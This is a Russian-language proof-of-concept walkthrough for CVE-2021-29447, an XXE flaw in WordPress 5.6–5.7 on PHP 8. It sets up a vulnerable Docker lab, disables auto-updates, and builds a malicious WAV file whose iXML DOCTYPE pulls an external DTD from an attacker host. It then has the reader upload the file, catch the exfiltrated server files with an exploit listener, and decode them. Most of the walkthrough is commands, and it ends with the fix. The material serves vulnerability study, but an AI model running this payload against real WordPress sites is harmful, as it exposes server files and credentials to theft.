
Эксплуатационный PoC для CVE-2021-29447, уязвимости внедрения XXE в WordPress 5.6–5.7 через загрузку вредоносного WAV-файла, позволяющей раскрытие произвольных файлов на PHP 8.0+.
CVE-2021-29447 — это уязвимость внедрения внешних XML-сущностей (XXE), затрагивающая версии WordPress 5.6–5.7 (исправлена в 5.7.1) при работе на PHP 8.0+. Уязвимость находится в библиотеке getID3, используемой для разбора метаданных медиафайлов.
WordPress обрабатывает iXML-чанки WAV-файлов через getID3, который вызывает simplexml_load_string() с флагом LIBXML_NOENT. Этот флаг явно включает подстановку внешних сущностей, обходя стандартные защиты от XXE в PHP 8 (устаревшая функция libxml_disable_entity_loader()).
Этот PoC демонстрирует уязвимость с использованием Docker-контейнера WordPress 5.7 + PHP 8.0.3. Пользователи Linux могут использовать однофайловый скрипт, который также генерирует файлы WAV/DTD.
▶️: https://youtu.be/YnGowuWHFyY
Установите Docker Desktop на хост с Windows.
Создайте выделенную директорию проекта (все команды PowerShell выполняются здесь):
#powershell
mkdir cve-2021-29447-poc
cd cve-2021-29447-poc
Разверните уязвимую версию WordPress:
#powershell
notepad docker-compose.yml
Скопируйте и вставьте содержимое docker-compose.yml
Запустите контейнеры:
#powershell
docker-compose up -d
Отключите автоматические обновления (критически важно для сохранения уязвимости):
#powershell
docker-compose exec wordpress bash
#bash
sed -i "s/WP_AUTO_UPDATE_CORE', true/WP_AUTO_UPDATE_CORE', false/g" /var/www/html/wp-config-sample.php
echo "define('AUTOMATIC_UPDATER_DISABLED', true);" >> /var/www/html/wp-config-sample.php
echo "define('WP_AUTO_UPDATE_CORE', false);" >> /var/www/html/wp-config-sample.php
tail -5 /var/www/html/wp-config-sample.php
exit
Проверьте версии:
#powershell
docker-compose exec wordpress bash -c "grep wp_version /var/www/html/wp-includes/version.php && php -v"
Ожидается: WordPress 5.7, PHP 8.0+
Установка WordPress:
Перейдите: http://localhost:8080
Администратор: test / test / [email protected]
Завершите установку → Откройте /wp-admin
Определение IP-адреса атакующего:
#powershell
ipconfig | findstr IPv4
Запомните ваш IP (например, 192.168.1.196)
Создайте DTD-полезную нагрузку:
#powershell
notepad evil.dtd
Скопируйте и вставьте содержимое evil.dtd
Сгенерируйте WAV-файл с полезной нагрузкой (интерфейс командной строки Linux):
#bash
echo -en 'RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM '"'"'http://YOUR_IP:PORT/evil.dtd'"'"'>%remote;%init;%trick;]>\x00' > payload.wav
Передайте через python3 -m http.server 8000 → загрузите через браузер Windows (например, http://<VM_IP>:8000)
Примечание: WAV создаётся отдельно из-за сложности с бинарным экранированием в среде Windows
Запустите сервер эксплойта:
#powershell
notepad exploit.py
Скопируйте и вставьте содержимое exploit.py
Команда:
#powershell
python exploit.py -l YOUR_IP -p PORT
Активируйте XXE:
http://localhost:8080/wp-admin → Медиафайлы → Добавить новый
Загрузите payload.wav
Наблюдайте вывод сервера Python -> зафиксируйте перехваченные данные
Декодируйте полезную нагрузку Base64+Zlib:
#powershell
$bd='PASTE_BASE64_HERE';$bytes=[Convert]::FromBase64String($bd);$decoded=[System.IO.Compression.DeflateStream]::new([System.IO.MemoryStream]::new($bytes,$false),[System.IO.Compression.CompressionMode]::Decompress);[System.IO.StreamReader]::new($decoded).ReadToEnd()
Обновитесь до WordPress 5.7.1+ или отключите LIBXML_NOENT в разборе getID3.